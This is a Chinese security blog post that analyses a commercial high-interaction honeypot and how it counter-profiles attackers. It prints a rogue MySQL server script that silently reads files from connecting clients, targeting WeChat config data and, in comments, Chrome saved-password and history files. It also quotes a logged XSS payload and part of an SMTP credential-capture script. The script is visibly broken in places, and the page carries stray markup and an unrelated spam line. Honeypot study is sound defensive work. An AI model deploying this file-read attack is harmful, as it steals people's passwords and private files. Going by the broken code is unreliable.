<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    高交互式云蜜罐行為分析

    VSole2022-06-08 15:41:31

    概念

    蜜罐又叫蜜罐Honeypot,蜜罐技術本質上是一種對攻擊方進行欺騙的技術,通過布置一些作為誘餌的主機、網絡服務或者信息,誘使攻擊方對它們實施攻擊,從而可以對攻擊行為進行捕獲和分析,了解攻擊方所使用的工具與方法,推測攻擊意圖和動機,能夠讓防御方清晰地了解他們所面對的安全威脅,并通過技術和管理手段來增強實際系統的安全防護能力。

    分類

    云蜜罐從交互來區分,包括低交互蜜罐、高交互蜜罐。簡單來說低交互式的蜜罐是為了實現對攻擊行為的捕獲,比如簡單仿ssh、ftp、smtp、mysql等服務實現對攻擊目標的誘捕。

    高交互蜜罐一般會在低交互的基礎上除了偽造虛假服務之外,還能實現模仿托管各種系統OA辦公系統、網站等的業務系統外,能夠對攻擊者的行為進行追蹤溯源和分析。

    功能

    下面以某廠蜜罐為例,下面的是實時大屏。

    (該圖片來自于網絡<侵刪>)

    高交互蜜罐,能夠實現對攻擊者攻擊行為分析,攻擊畫像分析,攻擊源等信息進行獲取。



    除了溯源畫像外,基本上低交互蜜罐也能實現其它功能。就主要功能點在下面這幾點

    對于攻擊行為分析主要在日志,可以對攻擊者的操作行為進行分析(包含入侵日志、掃描日志等),當然各項日志可查看詳細信息,但是對于溯源來講僅僅這些內容是無法實現的,蜜罐除了誘捕之外的亮點就在于溯源畫像。

    內容包含社交信息,當然對于溯源來說兩點就夠了。社交+可能獲取到敏感信息的反制文件。


    包含多個信息點兒,主要實現的原理是通過腳本實現的。后面分享腳本兒以及抓取流量。

    環境+分析

    win10   192.168.63.40wireshark   3.6.5
    

    直接開始抓包,對目標的地址進行訪問,在訪問mysql服務的時候,數據包如下

    這里我們直接追蹤數據流,直接追蹤的是tcp流,在進行mysql連接的時候,用的協議自然有mysql和tcp協議,數據庫連接使用的是mysql協議,數據塊傳輸的時候使用的是tcp協議

    可以看到在連接數據的時候,蜜罐會下載我們本機的文件。


    這里可能跟數據庫版本有關,下載的數據塊也不是太完整,但是為了能夠盡可能多的實現或者說是獲取到攻擊方的信息,數據會進行分塊傳輸。

    下面是來自github上的腳本



    #coding=utf-8import socketimport osimport re
    def mysql_get_file_content(filename,conn,address):    logpath = os.path.abspath('.') + "/log/" + address[0]    if not os.path.exists(logpath):        os.makedirs(logpath)    conn.sendall(        "\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")    try:        conn.recv(9999)    except Exception as e:        print(e)
        try:        conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")        res1 = conn.recv(9999)        # SHOW VARIABLES        if 'SHOW VARIABLES' in res1:            conn.sendall(            res2 = conn.recv(9999)            if 'SHOW WARNINGS' in res2:                conn.sendall("")                res3 = conn.recv(9999)                if 'SHOW COLLATION' in res3:                    conn.sendall("")                    res4 = conn.recv(9999)                    if 'SET NAMES utf8' in res4:                        conn.sendall("\x07\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00")                        res5 = conn.recv(9999)                        if 'SET character_set_results=NULL' in res5:                            conn.sendall("\x07\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00")                            conn.close()                    else:                        conn.close()                else:                    conn.close()            else:                conn.close()        else:            try:                wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename                conn.sendall(wantfile)                content = conn.recv(99999999)                # print(len(content))                conn.close()                if len(content) > 4:                    if 'PFRO' in filename:                        with open(logpath + "/PFRO.log", "w") as f:                            f.write(content)                            f.close()                        return True                    else:                        with open(logpath + "/" + filename.replace("/", "_").replace(":", ""), "w") as f:                            f.write(content)                            f.close()                        return True                else:                    return False            except Exception as e:                print (e)    except Exception as e:        print (e)
    def run():    port = 3306    sv = socket.socket()    sv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)    sv.bind(("",port))    sv.listen(100)
    -while True:    conn, address = sv.accept()    logpath = os.path.abspath('.') + "/log/" + address[0] + '/PFRO.log'    if os.path.exists(logpath):        with open(logpath, 'r')as f:            content = f.read()        f.close()
            # get username
            content = content.replace('','').replace('\r','').replace(' ','').replace('\t','').replace('\00','')        try:            res = re.findall(r'Users\\(.*)\\', content)[0]            username = res.split('\\')[0]            #line = '\\\\10.76.6.93\\test'            line = 'C:/Users/' + username + '/Documents/WeChat Files/All Users/config/config.data'
                # line = 'C:/Users/' + username + '/AppData/Local/Google/Chrome/User Data/Default/Login Data'
                # line = 'C:/Users/' + username + '/AppData/Local/Google/Chrome/User Data/Default/History'
                #print(line)            if not os.path.exists(os.path.abspath('.') + "/log/" + address[0]+'/'+line.replace("/", "_").replace(":", "")):                res = mysql_get_file_content(line,conn,address)                if res:                    print ("Read Success! ---> " + line)                else:                    print ("Not Found~ ---> " + line)            else:                conn.close()        except Exception as e:            print(e)    else:        line = 'C:/Windows/PFRO.log'        res = mysql_get_file_content(line,conn,address)        if res:            print ("Read Success! ---> " + line)        else:            print ("Not Found~ ---> " + line)
    


    但是真實的情況是在數據傳輸的模塊以及生成的文件不止一個mysql文件

    對于個人隱私信息模塊的抓取,在訪問釣魚頁面的時候,直接查看網絡查看加載內容

    我們根據監測日志流量可以看到存在跨站


    跨站腳本vname=%3Csvg%20onload=eval(name)%3E&client_id=&list_time=&_=1590814136385; FileName(xxx)=; PayLoad(xxx)=GET /pc/content/getMqNews?vname=%3Csvg%20onload=eval(name)%3E&client_id=&list_time=&_=1590814136385 HTTP/1.1\0d\0aHost: xxxxxxxxx\0d\0aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0\0d\0aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\0d\0aAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\0d\0aAccept-Encoding: gzip, deflate\0d\0aConnection: keep-alive\0d\0aReferer: /\0d\0aUpgrade-Insecure-Requests: 1\0d\0a\0d\0a;
    


    存在python腳本獲取個人隱私信息

    這里是抓取到的當當的信息



    下面是一部分監聽郵箱信息的腳本



    parser = argparse.ArgumentParser(description="Command line arguments")parser.add_argument('-i',action='store', metavar='', default='0.0.0.0', help='The IP address to listen on')parser.add_argument('-p',action='store', metavar='',  default='25', help='The port to listen on')parser.add_argument('-s',action='store', metavar='mailserver', default=os.environ.get('MAILSERVER_NAME', None), help='A Name that\'ll show up as the mail server name')parser.add_argument('-t',action='store', choices=['open_relay', 'postfix_creds', 'schizo_open_relay'], required=True, help='honeypot type')parser.add_argument('-logpath',action='store', metavar='',  default=os.environ.get('LOGPATH'), help='path for file logging')parser.add_argument('-hpfserver', action='store', metavar='', default=os.environ.get('HPFEEDS_SERVER', None), help='HPFeeds Server')parser.add_argument('-hpfport', action='store', metavar='', default=os.environ.get('HPFEEDS_PORT', None), help='HPFeeds Port')parser.add_argument('-hpfident', action='store', metavar='', default=os.environ.get('HPFEEDS_IDENT', None), help='HPFeeds Username')parser.add_argument('-hpfsecret', action='store', metavar='', default=os.environ.get('HPFEEDS_SECRET', None), help='HPFeeds Secret')parser.add_argument('-hpfchannelprefix', action='store', metavar='', default=os.environ.get('HPFEEDS_CHANNELPREFIX', None), help='HPFeeds Channel Prefix')
    args = parser.parse_args()
    # set own logpath
    logpath="./logs/"if args.logpath:    logpath=args.logpath    # set the IP address variables
    bind_ip = args.ibind_port = int(args.p)srvname = args.s
    


    核心內容就是監聽然后獲取郵箱信息,當然針對不同的網站,字段內容,后端腳本也需要修改,目前各大廠商蜜罐的目標涵蓋包含dangdang、suning、某lang、某度賬號的抓取腳本,但成功幾率不一定百分百。

    那么在實現mysql反制的情況下,蜜罐能獲取到什么內容呢,下面來看一下文件內容



    這個攻擊者的文件已經算是拿到的比較多的,前面提到了,在傳輸的時候因為考慮到數據塊兒的大小,所以數據是分塊傳輸的,所有個別數據有時候也不全,至于為什么有的攻擊畫像內容不完全,我個人猜測,這個跟攻擊者使用的工具版本和系統環境都有很大的關系。

    PFRO內存儲的有攻擊者安裝的文件路徑等信息,且有個人的習慣的話可以讀取用戶名



    文件內有整個主機的文件據對路徑以及安裝程序



    攻擊者瀏覽器內存儲的密碼管理文件和書簽



    含用戶名和密碼



    微信id就是這么獲取的,但是確實很雞肋,是最原始的id。

    applog

    顧名思義,app日志文件,作為固定證據能夠使用。

    如果說談一談蜜罐的優勢。高交互的蜜罐能更加區分攻擊者行為以及減少對源ip的行為誤報,在一定程度上能夠實現抓取“0day”的目的,畢竟攻擊者的操作行為可視化。

    其次部分廠家的蜜罐能在反制功能除了上述內容外就是遠控攻擊者終端,免殺馬上線也能實現。


    反蜜罐


    下面是github上找的一些內容,不一定能用

    反蜜罐插件

    • https://github.com/Monyer/antiHoneypot
    • https://github.com/Monyer/antiHoneypot

    探測蜜罐 

    https://github.com/iiiusky/AntiHoneypot-Chrome-simple

    其次就是個人習慣,良好的"習慣",也能在一定程度上實現反制。


    小結


    主要是基于云蜜罐純黑盒的分析,觸發告警也不一定成功,可能也不是產品的問題,畢竟也是DC,但是這個東西只能說有點兒雞肋,但是必定有中招者。

    蜜罐技術mysql數據庫
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    ?相關聲明 以下內容僅限用于紅藍攻防對抗等專業領域,請勿用于非法用途。 雜談 首先,我們先講一下蜜罐的概念,你可以簡單理解較為蜜罐就是一個陷阱,故意暴露一些我們人為設計好的漏洞,讓攻擊者自投羅網。 蜜罐介紹 蜜罐是對攻擊者的欺騙技術,用以監視、檢測、分析和溯源攻擊行為,其沒有業務上的用途,所有流入/流出蜜罐的流量都預示著掃描或者攻擊行為,因此可以比較好的聚焦于攻擊流量。 蜜罐可以實現對攻擊者
    蜜罐又叫蜜罐Honeypot,蜜罐技術本質上是一種對攻擊方進行欺騙的技術,通過布置一些作為誘餌的主機、網絡服務或者信息,誘使攻擊方對它們實施攻擊,從而可以對攻擊行為進行捕獲和分析,了解攻擊方所使用的工具與方法,推測攻擊意圖和動機,能夠讓防御方清晰地了解他們所面對的安全威脅,并通過技術和管理手段來增強實際系統的安全防護能力。
    根據《網絡安全法》和《關鍵信息基礎設施安全保護條例(征求意見稿)》對關鍵信息基礎設施定義和范圍的闡述,關鍵信息基礎設施(Critical Information Infrastructure,CII)是指一旦遭到破壞、喪失功能或者數據泄露,可能嚴重危害國家安全、國計民生、公共利益的信息基礎設施,包括能源、交通、水利、金融、電子政務、公共通信和信息服務等關鍵行業和領域。 隨著“新基建”、“工業互
    筆者片面的從多年乙方經驗(不涉及監管層面能拿到的數據)的技術層面來討論下大攻防演練多人運動下的溯源反制思路,以及作為反制團隊如何與藍隊其他成員之間進行配合反制相關的工作。 如有寫的不對的地方及遺漏的地方(肯定有的),請多多交流。
    一文讀懂HW護網行動
    2022-07-26 12:00:00
    隨著《網絡安全法》和《等級保護制度條例2.0》的頒布,國內企業的網絡安全建設需與時俱進,要更加注重業務場景的安全性并合理部署網絡安全硬件產品,嚴防死守“網絡安全”底線。“HW行動”大幕開啟,國聯易安誓為政府、企事業單位網絡安全護航!
    用戶名:加密密碼:密碼最后一次修改日期:兩次密碼的修改時間間隔:密碼有效期:密碼修改到期到的警告天數:密碼過期之后的寬限天數:賬號失效時間:保留。查看下pid所對應的進程文件路徑,
    同時又在默認的系統環境下,通過pip安裝部署,大多數情況下,是不會出現問題。相關的依賴庫,在Python安裝之后,都是通過pip來安裝。但實際我們裝個python2.7版本的環境就基本滿足目前的需求。我們創建了一個叫做py27的虛擬環境。workonpy272.4 安裝Opencananrypip在安裝opencanary時,會自動安裝他所需求要的各種依賴,一般不出問題的話,一切都會順利安裝完成。
    大家好,我是風起,最近一直在做安全研究及Kunyu的開發維護,已經好久沒有寫紅隊攻防相關的文章了,那么近期將帶來 “紅隊實戰攻防技術” 系列的文章。
    Web日志安全分析淺談
    2022-01-12 06:36:15
    attack=test';select//1//from/**/1,此時請求狀態碼為200,但是此注入攻擊并沒有得到執行,實際情況中,還會有更多情況導致產生此類的噪聲數據。拋開這類情況不談,我們來說說在一般應急響應場景中我們分析日志的常規辦法。假設我們面對的是一個相對初級的黑客,一般我們直接到服務器檢查是否存有明顯的webshell即可。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类